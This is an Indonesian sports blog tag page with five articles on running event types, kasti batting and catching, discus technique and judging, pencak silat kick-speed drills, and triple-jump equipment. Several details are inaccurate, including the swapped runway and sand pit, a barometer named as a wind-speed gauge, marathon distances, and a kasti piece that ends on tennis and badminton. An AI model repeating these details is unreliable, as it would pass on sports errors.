Home » atletik » Page 5
Tag:

atletik

Atletik

4 Cabang Olahraga Lari dan Penjelasannya Paling lengkap

by Rita Nora
written by Rita Nora

Olahraga yang paling banyak diminati adalah olahraga lari. Selain olahraganya yang sederhana untuk melakukanya pun tidak di pungut biaya sepeserpun atau gratis. Karena kita tidak membutuhkan banyak biaya dan hanya membutuhkan ketekunan dan ketlatenan. Atletik sendiri mempunyai banyak macamnya salah satunya adalah olahraga lari. Cabang atletik sudah di kenal dari dulu hingga sekarang juga tetap masih di minati dan di gemari banyak orang bahkan perlombaanya pun sudah banyak sekali macamnya.

Disini kita akan memberikan macam – macam cabang olah raga lari, kita tahu lari sangat di gemari banyak orang anda dapat melihat melakukan jogging di pagi ataupun di sore hari. Ternyata lari juga mempunyai banyak jenisnya dan tentunya ada beberapa orang dari kalian yang belum tau, maka langsung saja yuk kita bahas di bawah ini.

Macam – macam cabang olahraga lari :

1. Sprint / lari jarak pendek

Olahraga ini dilakukan pada lintasan sepanjang 50 hingga 400 meter. Dengan penilaian siapa yang larinya tercepat dari garis start hingga garis finis. Lari jenis ini mempunyai tujuan untuk memaksimalkan kecepatan secara horizontal. Untuk mengikuti olahraga atau perlombaan ini anda harus menguasai teknik lari cepat. Kunci sukses seorang atlet adalah latihan yang tekun dan fisik yang kuat. Ada beberapa tahapan untuk jangka pendek seperti drive , percepatan tahan dan juga fase reaksi. Berikut ini jarak lintasan lari menurut jenisnya :

  • Larir jarak pendek dengan panjang lintasan 50-400 meter
  • Lari jarak menengah dengan panjang lintasan 800-1500 meter
  • Lari jarak jauh dengan panjang lintasan 5000-10000 meter
  • Lari marathon dengan panjang lintasan 42,195km
  • Lari sambung / estafet dengan panjang lintasan 4x 100 meter

Dalam sebuah perlombaan lari pun juga ada macam – macam cara untuk memulai start, yaitu :

  • Standing start / start berdiri
  • Flying start / start melayang, hanya di lakukan pelari ke 2 , 3 , 4 dalam sebuah lari estapet 4x 100m
  • Crouching start / start jongkok

2. Lari jarak menengah

Lari jarak menengah hampir sama dengan lari jarak pendek hanya saja panjang lintasan untuk lari jarak menengah adalah sepanjang 800 – 1500 meter. Nah namun ada sedikit perbedaan lainya antara lari jarak pendek dengan lari jarak menengah terutama saat cara kaki anda menapak. Dalam lari jarak pendek disebut dengan istilah ball – hell – ball yaitu suatu gerakan yang menapakan kaki nya bertumpu pada ujung tumit dan menolakkan tapakan dengan ujung kakinya, untuk posisi startnya di lakukan dengan posisi beridiri / start berdiri.

Dalam lari jarak menengah ini juga perlu gerakan kaki yang sewajarnya saja, panjang langkah pun tidak perlu di paksakan dari awal akan tetapi hanya ketika menjelang garis finish saja karna dapat lebih menghemat tenaga anda. Tidak perlu juga langsung mengeluarkan semua tenaga kita sejak garis start karna anda malah dapat kehabisan nafas dan kelelahan ketika tenaga anda di habiskan dari garis start. Anda dapat memaksimalkan tenaga ketika menjelang garis finish.  

3. Lari jarak jauh / marathon

Marathon merupakan salah satu jenis olahraga lari yang sedang naik daun, kita bisa liat dengan adanya lomba lari marathon di mana – mana baik tingkat Negara , nasional, dll. Olahraga ini semakin banyak di senangi karena peminatnya juga bertambah , dan selalu bertambah seiring berjalanya waktu. Jarak tempuh yang jauh sering kali membuat orang penasaran dan ingin mencobanya walaun pada akhirnya sampai garis finish pun juga akan mengalami rasa letih yang luar biasa karena marathon mempunyai panjang lintasan yang jauh mulai 3 – 10km da nada juga yang 42km.

Ada juga lari croos country yang mempunyai panjang lintasan lebih jauh ketimbang dengan marathon. Ketika anda ingin mengikuti ajang perlombaan atau olahraga ini anda harus berlatih terlebih dahulu , karna perlombaan ini bisa di masukan dalam kategori ekstrim. Jika kondisi fisik, mental , dan daya tahan tubuh anda tidak kuat maka anda dapat mengalami salah satu dari macam-macam cidera olahraga dan anda juga dapat pingsan jika parah anda dapat meninggal di karenakan serangan jantung. Untuk mengikuti olahraga atau bahkan perlombaan lari jarak jauh / maraton ini anda juga harus memperhatikan peralatan lari jarak jauh yang harus anda lengkapi.

4. Lari sambung / estafet

Sejak kita masih anak – anak ternyata kita sering mempraktekan lari estafet saat kita sedang dalam pelajaran olahraga. Olahraga ini juga tidak kalah populernya dengan marathon karna banyak di gemari dan anda juga dapat menemukan lombanya ada di mana – mana, jadi tidak heran banyak oaring yang menggemari olahraga ini. Lari estafet di lakukan dengan lari sambung yang di lakukan oleh beberapa orang dalam satu groub secara bersamaan.

Ini merupakan saalah satu dari cabang atletik yang di lakukan dengan cara bergantian. Dalam satu anggota team / 1 regu pelari biasanya akan memiliki empat seorang pelari yang memposisikan dirinya dalam lintasan masing – masing. Kemudian si pelari pertama akan lari secepat mungkin dan memberikan sebuah tompat pada kelari kedua lalu pelari kedua lari dan memberikan tongkat ke 3 begitu terus hingga sampai ke pelari terakhir.

Ada zona sekitar 20 meter dimana para pemain dapat bergantian bermain dengan menyerahkan tongkat yang hanya dapat di lakukan di zona tersebut.Ketika anda melangga maka otomatis regu yang melanggar tersebut akan langsung di diskualifikasi. Jarak lari estafet yang di lombakan pada umumnya adalah 4x 100 meter atau juga 4x 400 meter.

Peringatan :

Tentunya untuk anda yang ingin mengikuti salah satu dari olahraga diatas anda harus berlatih terlebih dahul, anda dapat belajar melalui internet atau guru yang ada di tempat anda. Karna penting sekali untuk melatif fisik dan pernafasan dalam olahraga lari, dan jika anda hanya asal – asalan melakukanya anda dapat terkena salah satu dari jenis cedera saat berlari. Selain itu anda juga harus menyiapkan perlengkapanya salah satunya adalah sepatu lari yang sangat penting sekali di gunakan cara memilih sepatu lari pun juga ada caranya dan tekniknya.

Anda juga dapat menggunakan waistbag kecil saat anda sedang berlatih yang bertujuan untuk menyimpan bekal , air minum, handphone, ataupun dompet. Jangan membawa barang terlalu berlebihan karna dapat terasa berat dan mengganggu saat anda menjalani latihan lari.

Nah semoga dengan adanya info diatas dapat menambah pengetahuan anda dan wawsan anda, tentunya juga akan mempermudah anda untuk mengetahui tentang jenis – jenis lari, cara melakukanya , perlengkapan yang di perlukan, dan info yang lainya. Yang terpenting adalah jangan memaksakan kondisi anda saat latihan ketika lelah maka beristirahatlah.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Olahraga A - Z

7 Cara Memukul Bola Kasti yang Baik dan Benar

by Rita Nora
written by Rita Nora

Permainan kasti sering di mainkan oleh anak – anak dan juga remaja. Permaianan ini di biasanya di bagi menjadi 2 kelompok dan salah satu kelompok mempunyai tugas untuk memukul dan yang satunya mempunyai tugas untuk menjaga dan juga menangkap bola. Dalam permainan bola kasti in juga terdapat beberapa pos yang sebelumnya sudah di beritanda dengan tiang atau gambar. Pos tersebut berfungsi sebagai tempat yang aman kepada team yang bertugas memukul agar tidak dapat di lempar bola oleh si team penjaga.

Setiap pemain dalam permainan bola kasti juga mempunyai teknik dasar masing – masing salah satunya adalah cara memukul bola kasti. Selain itu pemain juga harus mempunyai teknik menangkap dan juga menjaga bola. Pemain yang bertugas menyerang  dalam permainan bola kasti harus memukul bola setelah itu berlari menuju pos akan tetapi harus tanpa mengenai bola yang di lempar oleh si team pnejaga. Bila terkena maka bertukar posisi yang tadinya adalah team pemukul menjadi team penjaga begitu juga sebailiknya.

1. Memukul Bola

Memukul bola merupakan salah satu teknik dasar permainan bola kasti dan juga teknik dasar tenis lapangan . Teknik ini merupakan sebuah teknik yang harus di kuasai oleh semua pemain bola kasti. Pemain tersebut dapat memukul bola dengan beberapa cara. Nah hal yang harus di ingat adalah bagaimana memukul bola tersebut sejauh mungkin dan bagaimana caranya agar tidak tertangkap oleh team penjaga. Disini kita akan menjelaskan terlebih dahulu cara memegang alat pemukul kasti yang benar, berikut ini caranya :

  • Posisikan kaki dan usahakan di buka selebar bahu
  • Peganglah pemukul kasti tadi dengan tangan kanan
  • Anda dapat mengayunkan pemukul kasti kebakan hingga bahu
  • Anda dapat menggunakan tangan kiri untuk memberikan tanda kepada si pelempar.
  • Perhatikan kemana bola mengarah dan pukul dengan cepat dan sekeras mungkin, cara ini sebenarnya hampir sama dengan cara memegang raket bulu tangkis

2. Memukul Bola lambung

Teknik memukul bola melambung merupakan sebuah teknik dasar pada permainan bola kasti , yang bertujuan agar bola dapat melambung tinggi dan jauh sehingga tidak mudah untuk di jangkau oleh team penjaga.

  • Posisikan kaki kanan anda berada di belakang dan kaki kiri anda posisikan berada di depan
  • Tangan yang memegang alat pemukul anda di usahakan sedikit serong hingga 45 derajat kebawah
  • Arahkan pandangan anda ke bola dan perhatikan arah bola
  • Mulai ayunkan pukulan anda ke samping kiri bagian atas dan pukulah sekuat tenaga.

3. Memukul Bola Mendatar

Anda juga harus menguasai teknik memukul bola mendatar , karna bola mendatar biasanya kan mempersulit team penjaga yang mempunyai postur tinggi. Selain itu terkadang bola mendatar akan leibh cepat dibandingkan dengan bola lambung. Berikut cara untuk memukul bola mendatar.

  • Posisikan kaki kanan anda tepat berada di blakang dan kaki kiri anda di posisi depan
  • Letakan pemukul anda agar dapat sejajar dengan bahu anda
  • Posisikan tangan kiri lurus untuk mendapatkan bola secara mendatar
  • Arahkan pandangan kemana bola itu datang
  • Dan ayunkan pemukul secara mendatar dan pukul sekuat mungkin dan sekencang mungkin.

4. Memukul Bola Merendah

Teknik memukul yang satu ini juga sangat perlu untuk anda kuasi. Karna teknik ini juga bertujuan untuk memantulkan bola ke tanah dengan cepat, agar team penjaga terkoecoh dan kesulitan untuk menangkap dan menebak arah laju bola. Nah simak caranya berikut ini :

  • Posisikan kakikanan anda berada di belakang, dan juga posisikan kaki kiri anda berada di depan
  • Letakan pemukul kasti anda kea rah belakang atas.
  • Arahkan pandganan anda kemana arah bola itu menuju atau adtang
  • Ayun kan pemukul kasti anda dari atas kebawah dan juga pukul sekuat Tenaga agar pantulanya keras dan melesat kea rah yang tidak menentu.

5. Cara Menangkap Bola Lambung

Teknik dasar yang harus di kuasai selanjutnya adalah menangkap bola. Teknik ini juga di lakukan dan sangat di perlukan ketika anda bermain bola kasti. Terlebih lagi anda sebagai team yang berjaga sangat di butuhkan sekali ketrampilan untuk menangkap bola. Bola yang akan di tangkap dapat mendatar, melambung, ataupun menyusur ke tanah. Nah untuk yang pertama kami akan memberikan cara untuk menangkap bola lambung.

  • Posisikan badan anda berdirir dan juga kaki kanan anda berada di depan
  • Arahkan pandangan anda ke arah datangnya bola
  • Posisikan tangan anda berhadapan dengan siku dan posisikan sedikit di tekuk
  • Usahakan jari – jari tangan anda dalam kondisi lemas dan renggang
  • Kemudian tangkaplah dengan tenang agar bola tidak kembali jatuh.

6. Cara Menangkap Bola Mendatar

Cara ini bertujuan untuk menangkap bola yang di berikan oleh si pemukul dengan teknik memukul bola secara mendatar, karna jika tidak di kuasai keadaan ini dapat di manfaatkan oleh si team penyerang atau pemukul. Nah simak cara di bawah ini

  • Pertama ,Posisikan badan dengan berdiri dan kaki kanan berada didepan.
  • Arahkan pandangan anda menuju arah datangnya bola.
  • Posisikan tangan berhadapan dengan sikut dengan kondisi sedikit ditekuk.
  • Usahakan jari – jari tangan lemas dan renggang
  • Kemudian tangkaplah bola yang datang dengan tenang agar bola tidak kembali jatuh ke tanah lagi.

7. Cara Menangkap Bola Yang Menyusur atau Memantul di Tanah

Cara ini juga sangat wajib sekali untuk di kuasaai, karna tak sedikit pemukul bola kasti yang menggunakan teknik ini , kadang di pantulkan di tanah kadang juga menyusur di tanah. Simak caranya berikut ini.

  • Posisikan badan anda sedikit membungkuk dengan kaki sejajar
  • Arahkan pandangan anda kepada arah datangnya bola
  • Posisikan lutut kanan anda menempel ke tanah dan kaki kiri dengan sedikit di tekuk
  • Tangkaplah bola tersebut dengan tenang agar tidak kembali untuk jatuh.

Dengan menggunakan teknik – teknik dasar  di atas akan menambah kemampuan anda dan membuat anda menjadi tidak terkalahkan dan mampu mengalahkan semua lawan. Dengan begitu anda dapat menjuarai kejuaraan – kejuaraan tenis dan dapat menjadi orang terkenal seperti  pebulutangkis terbaik dunia yang juga terkenal dan mendapatkan bayaran yang tinggi. Anda harus berlatih secara pelan – pelan dan jangan paksakan diri anda karna jika anda memaksakan kondisi anda, anda dapat terkena salah satu cedera dari macam-macam cidera olahraga.

Akan lebih baik ketika anda belum memulai latihan anda melakukan pemanasan terlebih dahulu untuk meregangkan otot-otot tangan anda dan otot – otot yang lainya atau juga bisa di dampingi dengan ahlinya.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

4 Teknik Dasar Lempar Cakram dan Peraturannya

by Rita Nora
written by Rita Nora

Lempar cakram adalah salah satu cabang olahraga atletik seperti lempar lembing dan tolak peluru. Terdapat 4 teknik dasar lempar cakram yang masing-masing yaitu teknik memegang cakram, teknik awalan, teknik melempar cakram, dan teknik akhiran. Masing-masing memiliki teknik dan aturan yang berbeda-beda.

Sejarah lempar cakram sendiri sudah dikenal sejak lama yang erat kaitannya dengan sejarah atletik itu sendiri. Namun, pada perkembangan awalnya, cakram memang lebih dikenal lebih dahulu oleh bangsa Barat. Di Indonesia sendiri, lempar cakram dibawa dan diperkenalkan melalui orang-orang Belanda meskipun pada waktu itu masih belum dikenal luas. Baru pada jaman Jepang dan setelah Indonesia merdeka, olahraga cabang atletik termasuk lempar cakram mulai dikenal luas.

Itu tadi mengenai sejarah singkat lempar cakram, bagaimana mulanya bisa masuk ke Indonesia dan dikenal luas. Sekarang kembali ke pembahasan awal topik, yaitu mengenai teknik dasar. Seperti yang sudah dijelaskan di awal, terdapat beberapa teknik lempar cakram yang sangat  mendasar. Namun pertama-tama, terlebih dulu akan dibahas mengenai pengertian lempar cakram itu sendiri lalu teknik-teknik dasarnya. Berikut adalah penjelasannya.

Pengertian Lempar Cakram

Lempar cakram adalah salah satu cabang olahraga atletik dengan nomor lempar. Di nomor lempar lain terdapat lempar lembing, tolak peluru, dan martil. Lempar mengacu pada cara atau teknik olahraga itu dilakukan. Sedangkan cakram adalah alat atau benda yang dilempar. Cakram biasanya terbuat dari kayu yang berbentuk seperti piring dengan bingkai dari sabuk besi. Jadi, kesimpulannya yaitu lempar cakram adalah olahraga atletik dengan teknik melempar menggunakan benda berbentuk piring terbuat dari kayu.

Berat cakram untuk putra dan putri dibedakan. Untuk peserta putri, cakram memiliki berat 1kg dengan garis tengah 180-182mm. Sementara itu untuk peserta putra, cakram memiliki berat 2kg dengan garis tengah 219-221mm.

Teknik Dasar Lempar Cakram

Terdapat 4 teknik dasar lempar cakram. Teknik-teknik dasar ini penting diketahui, khususnya bagi para pemula yang ingin menjadi atlet lempar cakram profesional di kemudian hari. Berikut adalah penjelasan masing-masing teknik.

1. Teknik Memegang Cakram

Teknik yang dibenarkan ketika memegang cakram yaitu cakram diletakkan pada telapak tangan sebelah kiri dan telapak tangan kanan ditelakkan pada bagian tengah cakram. Empat jari sedikit dibuka atau dlebarkan menutupi bagian cakram. Ibu jari dibiarkan bebas.

2. Teknik Awalan

Pada tahap awalan ini disebut juga dengan tahap persiapan. Teknik awalan ini menentukan lemparan yang dihasilkan. Jadi, jika posisi atlet benar, maka akan menghasilkan lemparan yang baik. Posisi Berikut ini adalah poin-poin yang atlet seharusnya lakukan. Cara memegang cakram yang benar pada tahap awalan yaitu dengan meletakkan cakram pada tangan kiri menghadap ke arah atas. Sementara itu, tangan kanan diletakkan di bagian atas dengan posisi seperti menutupi dari atas. Tahap awalan melempar cakram dilakukan dengan gerakan berputar. Terdapat 3 macam putaran, yaitu 1 1/4 putaran, 1 1/2 putaran, dan 1 3/4 putaran. Tahap awalan ini adalah untuk awalan menyamping.

3. Teknik Melempar

Teknik yang ketiga yaitu teknik atau gaya lempar cakram. Tahap ini berkaitan dengan gaya melempar cakram yang digunakan ketika melakuakan lemparan. Pada tahap ini, pertama-tama posisi kaki dibuka selebar bahu. Kedua tangan tangan yang memegang cakram diluruskan kemudian ayunkan dengan memutar atau memilin tubuh ke arah kanan. Lakukan gerakan mengayun cakram beberapa kali hingga benar lalu lakukan lemparan. Pada ayunan terakhir, lepaskan cakram ke udara membentuk sudut lemparan 45 derajat.

4. Teknik Akhiran

Tahap yang terakhir atau yang keempat berhubungan dengan sikap dan gaya yang dilakukan setelah melakukan lemparan. Posisi yang benar yaitu tubuh mengikuti gerakan memutar untuk menjaga keseimbangan agar tubuh tidak ikut terlempar. Jangan berusaha melawan putaran karena dapat menyebabkan terjatuh atau hilang keseimbangan.

Aturan Mengenai Lapangan Lempar Cakram

Terdapat peraturan lempar cakram mengenai ukuran lapangan yang sudah ditentukan dan disepakati. Berikut adalah penjelasan lengkapnya.

  • Dalam perlombaan resmi, diameter lapangan tempat melakukan lemparan adalah 2,50m, Terbuat dari baja atau metal
  • Permukaan lantai tempat melakukan lemparan harus datar dan tidak licin. Disarankan terbuat dari semen atau aspal.
  • Untuk menjamin keselamatan petugas, atlet, dan penonton, lapangan harus dikelilingi oleh pagar kawat atau sangkar.
  • Diameter lapangan yaitu 7m dengan garis mulut sepanjang 3,3m. Area lapangan harus dibatasi garis dengan sudut 40 derajat di pusat lingkaran

Hal-Hal yang Harus Dihindari

Dalam permainan lempar cakram, terdapat aturan mengenai hal-hal yang harus dihindari. Berikut adalah penjelasannya.

  1. Tubuh berputar di tempat
  2. Pada awal putaran jatuh ke belakang
  3. Badan membungkuk ke arah depan
  4. Terlalu dini dalam melakukan lemparan
  5. Berat badan bertumpu pada kaki depan dan menyebabkan terjatuh
  6. Posisi kaki ditempatkan kurang sempurna dan tegang
  7. Melompat tinggi ke udara

Hal-Hal yang Harus Diperhatikan/Diutamakan

Jika sebelumnya sudah dibahas mengenai hal-hal yang harus dihindari, sekarang saatnya membahas mengenai hal-hal yang harus diperhatikan atau diutamakan dalam olahraga lempar cakram. 

  1. Mendorong cakram melewati dari lingkaran
  2. Dapat mencapai jarak yang cukup ketika melayang melintasi lingkaran
  3. Melakukan putaran dengan sempurna. Putaran besar dilakukan oleh badan bagain atas dan bagian bawah.
  4. Mendarat pada titik pusat lingkaran dengan menggunakan kaki kanan sementara kaki kiri berada sedikit ke kiri dari garis lemparan.

Juri dalam Pertandingan Lempar Cakram

Dalam pertandingan lempar cakram, pertandingan dipimpin oleh juri yang memiliki kriteria jujur, adil dan tegas. Tidak hanya itu, juri dan wasit juga harus memiliki kejelian yang tinggi dan juga bertanggung jawab. Juri di dalam pertandingan lempar cakram berjumlah sebanyak 5 orang. Masing-masing juri dinamai juri 1, juri 2, juri 3, juri 4, dan juri 5. Perlu diketahui bahwa masing-masing juri ini memiliki tugas dan wewenangnya sendiri. Berikut penjelasan tugas dan wewenang masing-masing juri

  • Juri 1. Juri 1 memiliki tugas untuk memanggil peserta dan juga mengawasi kesalahan pergerakan kaki pada sisi lingkaran ketika tubuh peserta berputar
  • Juri 2. Juri 2 bertugas untuk mengawasi kesalahan pergerakan kaki pada sisi lingakaran, mislanya ketika cakram sedang dilepaskan dari tangan peserta. Juri 2 biasanya disediakan pengeras suara atau megaphone untuk menyuruh peserta untuk bersiap. Selain itu, juri 2 juga memegang bendera untuk menentukan sah tidak sahnya lemparan yang dilakukan oleh peserta.
  • Juri 3. Juri 3  memiliki tugas untuk meletakkan alat pengukur atau ujung pita meteran sesaat setelah bendera penanda jatuhnya cakram ditempatkan.
  • Juri 4 dan 5.  Baik juri 4 maupun 5 sama-sama memiliki tugas untuk mengamati tempat jatuhnya cakram pertama yang terdekat. Posisi juri atau wasit bisa berubah menyesuaikan dari kondisi peserta (kidal atau normal).
0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Pencak Silat

7 Cara Melatih Kecepatan Tendangan Pencak Silat yang Mudah Dilakukan

by Rita Nora
written by Rita Nora

Pencak silat merupakan salah satu cabang olahraga atau atletik beladiri yang sudah pasti mempunyai gerakan – gerakan dasar. Gerakan itu harus di kembangkan dan juga di pelajari agar kita dapat mempraktekanya dengan benar dan dapat mendapatkan tendangan yang keras dan kuat. Nah kali ini kita akan membahas tentang bagaimaa teknik tendangan. Di dunia pencak silat sangat banyak sekali variasi tendangan dan semua orang yang mengikuti olahraga pencak silat sudah sewajarnya menginginkan tendangan yang cepat dan kuat. Nah simak saja artikel kita di bawah ini yang akan menjelaskan cara melatih kecepatan tendangan pencak silat. Pertama latih otot kaki anda, jika otot kaki anda sudah kuat maka anda akan mendapatkan tendangan yang kuat.

  • Lari 100m / sprint

Sebelum melakukan latihan ini anda dapat belajar terlebih dahulu tentang jenis cedera saat berlari untuk menhindari cedear. Latihan lari ini dapat melatih agar daya otot kaki anda menjadi semakin besar sehingga kaki anda akan bergerak lebih cepat dan semakin kuat. Sebelum anda menjalani latihan sprint anda juga dapat melakukan pemanasan terlebih dahulu. Anda dapat melakukan sprint maksimal 3 set, jangan paksakan tubuh anda. Anda dapat beristirahat 1 menit per set. Setelah anda menjalani latihan sprint selama 3 set anda dapat mengistirahatkan kaki anda agar rileks dan tidak tegang. Setelah itu anda dapat melakukan sprint lagi akan tetapi dengan mengangkat lutut anda hingga sampai perut, metode ini cukup di lakukan 2 set saja.

  • Squat jump

Squat merupakan salah satu gerakan yang mudah, akan tetapi dapat memperkuat kaki anda agar tendangan anda dapat kuat. Squat juga dapat di lakukan di manapun karena gerakanyapun sangat mudah sekali. Anda hanya perlu berjongkok , berdiri dan ulangi it uterus hingga sampai di rasa cukup. Jangan paksakan diri anda karna nanti malah akan mengalami macam macam cidera olahraga yang paling sering terjadi dan pada akhirnya akan memberi kendala latihan tendangan cepat anda.

  • Skiping

Ternyata skiping juga merupakan gerakan yang mampu memperkuat otot anda agar mendapatkan tendangan yang cepat. Skiping juga di lakukan untuk cara memperkuat kaki untuk menendang bola. Skiping juga merupakan gerakan yang mudah dan dapat anda lakukan di manapun dan kapanpun, akan tetapi kami lebih menyarankan anda melakukanya pada pagi hari ataupun sore hari. Skiping juga dpat di gunakan untuk membakar lemak pada tubuh anda. Anda dapat melakukan skiping dengan menggunakan tali khusus skiping atau membuatnya sendiri.

  • Ikat kaki anda dengan karet pada pohon atau menggunakan benda lain

Yang di maksut disini adalah melakukan gerakan menendang dengan kaki anda di ikat pada karet ban, anda dapat melakukan ini 100x perhari, jika kaki anda sudah mulai terbiasa dengan latian berat maka tidak mustahil lagi untuk anda mendapatkan tendangan yang cepat dan kuat. Selain melatih kecepatan menendang anda, anda juga harus melatih fisik anda ketahanan tubuh anda, karena menendang dengan cepat dan kuat itu juga membutuhkan daya yang kuat juga dan pastinya akan menghabiskan stamina anda.

  • Box jump

Selain itu anda juga dapat melakukan box jump di sela – sela anda melatih tendangan anda. Box jump merupakan gerakan yang di laukan ke atas sebuah pijakan baik itu meja, batu , ataupun objek yang lainya. Anda dapat melakukan gerakan ini 50x / hari agar otot anda semakin kuat dan fisik anda semakin terlatih. Jadi anda akan tidak mudah merasa lelah dan kaki anda semakin kuat dan siap untuk menendang dengan cepat dan kuat. Latihan ini juga dapat di gunakan di latihan fisik bola voli.

  • Lunges

Lunges juga merupakan gerakan yang dapat memperkuat otot anda. Anda dapat melakukan lunges dengan cara berdiri tegak dengan kaki dalam posisi terbuka hingga -+ selebar bahu, selanjutnya anda dapat melangkahkan salah satu kaki anda ke depan dan turunkan tubuh anda. Sehingga akan membuat lutut kaki anda menekuk. Anda dapat melkukan lunges sebanyak 30x/hari jika dirasa sudah cukup atau lelah anda dapat menyudahi nya sebelumnya, dan latih setiap harinya naikan jumlah gerakanya pada setiap harinya semisal naik 10x/hari. Cara ini juga dapat memperkuat kaki dan otot kaki anda sehingga dapat mendapatkan tendangan yang cepat dan kuat.

  • Lakukan tendangan cepat

Jika latihan fisik dan memerkuat otot sudah anda jalani, maka anda dapat menguji tendangan cepat anda dengan menggunakan sandsack anda dapat menendang secepat mungkin yang anda bisa. Target yang perlu anda kejar adalah 25x tendangan /10 detik. Jika di hari pertama atau kedua anda belum memenuhinya tidak apa – apa terus berlatih hingga target tersebut terpenuhi dengan di barengi latihan yang sudah kita bahas di atas tadi. Ketika target sudah terpenuhi maka anda dapat menaikan jumlah target sesuai dengan kebutuhan anda.

Cara melatih teknik tendangan pencak silat :

  • Angkat kaki satunya dan letakan di atas meja ataupun tembok dan dada anda sentuhkan dengkul dan lakukan sekuat mungkin , lakukan bergantian kaki kanan dan juga kaki kiri.
  • Kuda – kuda tengah dengan posisi yang benar dan anda dapat melakukan tendangan dengan secara pelan terlebih dahul hingga di rasa sudah benar dan lakukan dengan cepat seperti latiahan yang sudah kita bahas di atas tadi.
  • Ketika teknik tendangan sudah di kuasai anda dapat mengayunkan sandsack dan mulai menendangi objek tersebu dengan cepat dan kuat hingga menyentuh target di atas yaitu 25x tendangan /10 deetik.

Nah ketika anda sudah melakukan latihan di atas dengan rutin dan teratur maka anda akan mendapatkan tendangan cepat dan kuat. Perlu di ingat ketika tubuh anda sedang merasa capek ataupun tidak fit anda dapat melewatkan latihan tersebut, jangan paksakan tubuh anda agar tidak mendapatkan luka ataupun cedera.

Tendangan yang cepat dan kuat tidak hanya di ingin kan untuk seorang yang mengikuti olahraga pencak silat akan tetapi juga seorang pemain bola seperti Lionel Messi dan yang lainya. Karna bagi mereka otot kaki yang kuat dapat memberikan tendangan yang kuat juga hampir sama dengan pencak silat hanya berbeda objek, untuk pemain bola objek nya adalah sebuah bola dan untuk seorang atlet beladiri adalah musuh nya ataupun sandsack. Semoga informasi ini bermanfaat dan dapat membantu mewujudkan keinginan anda. Terimakasih.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

Peralatan Lompat Jangkit dalam Perlombaan Profesional

by Rita Nora
written by Rita Nora

Pernahkah Anda mendengar tentang olahraga lompat jangkit? Meski tidak setenar olahraga lompat jauh, lompat jangkit memiliki teknik yang mirip dengan teknik lompat jauh. Lompat jangkit atau triple jump adalah olahraga atletik, dimana seorang atlet akan melakukan lompatan sebanyak tiga tahapan sebelum akhirnya mendarat di sebuah bak pasir. Olahraga ini diawali dengan posisi lari sebelum melompat. Perbedaan lompat jauh dan lompat jangkit adalah jumlah tolakannya. Pada lompat jauh, atlet hanya melakukan satu kali tolakan sedangkan pada lompat jangkit tolakan dilakukan sebanyak tiga kali.

Apa saja peralatan lompat jangkit yang dibutuhkan untuk perlombaan profesional? Sama seperti alat yang digunakan untuk lompat harimau, lompat jangkit juga memiliki beberapa alat khusus yang harus dipersiapkan seperti:

1. Lapangan Lompat Jangkit

Lapangan lompat jangkit sangat dibutuhkan untuk melakukan olahraga ini. Lapangan untuk lompat jangkit terdiri atas 2 bagian yaitu landing pit dan runway. Standar internasional untuk landing pit adalah tinggi 2,75 m dan panjang 7 sampai 9 m. Fungsi dari landing pit adalah tumpuan awal untuk para atlet sebelum melakukan lompatan. Runway atau bak pasir memiliki panjang minimal 40 m dengan jarak 10 cm dari permukaan tanah untuk papan indikator. Teknik lompat jangkit yang harus dilakukan oleh atlet berbeda dengan teknik lompat katak atau lompat jauh.

2. Peluit

Peluit diperuntukkan bagi petugas atau juri. Fungsi dari peluit adalah memberi aba aba mulainya pertandingan sehingga melalui aba aba tersebut atlet akan mulai berlari. Peluit juga menjadi tanda berakhirnya pertandingan, yaitu setelah atlet melakukan pendaratan di bak pasir.

3. Pengeras Suara

Dalam lompat jangkit pengeras suara sangat penting karena olahraga ini berlangsung sangat cepat dan penonton hanya bisa melihat dari jarak jauh saja. Pengeras suara yang dipegang oleh para petugas dipakai untuk mengumumkan hasil pertandingan yaitu jauhnya lompatan dan siapa yang keluar sebagai pemenang.

4. Alat Pengukur

Alat pengukur atau meteran dipakai pada pertandingan lompat jangkit di masa lampau saat belum ada teknologi canggih seperti sekarang. Bedanya alat ukur dulu dan sekarang adalah kini hasil lompatan langsung bisa diketahui sesaat setelah atlet mendarat tanpa perlu menarik alat ukur secara manual.

Atlet lompat jangkit tetap harus memperhatikan teknik yang benar agar terhindari dari macam macam cidera olahraga.

5. Kamera

Fungsi kamera pada olahraga lompat jangkit adalah merekam setiap gerakan yang dilakukan atlet, mulai persiapan hingga mendarat. Kamera sangat berperan besar terutama pada kejuaraan tingkat dunia agar penonton bisa menyaksikan dengan jelas pertandingan yang sedang berlangsung.

6. Barometer

Alat pengukur kecepatan angin diperlukan untuk mencatat jauhnya lompatan atlet dibandingkan dengan kecepatan angin untuk menentukan siapa yang keluar sebagai pemenang.

7. Alat Perata Pasir

Setelah satu atlet selesai melompat, maka posisi pasir harus segera diratakan kembali agar tidak mempengaruhi lompatan atlet yang selanjutnya. Petugas lapangan biasanya akan meratakan permukaan pasir setiap atlet akan melakukan lompatan.

8. Bendera

Bendera dipegang oleh juri atau petugas dalam sebuah perlombaan lompat jangkit. Bendera akan diangkat oleh juri sebagai aba aba saat atlet akan melompat, juga sebagai tanda saat atlet telah selesai melakukan lompatan.

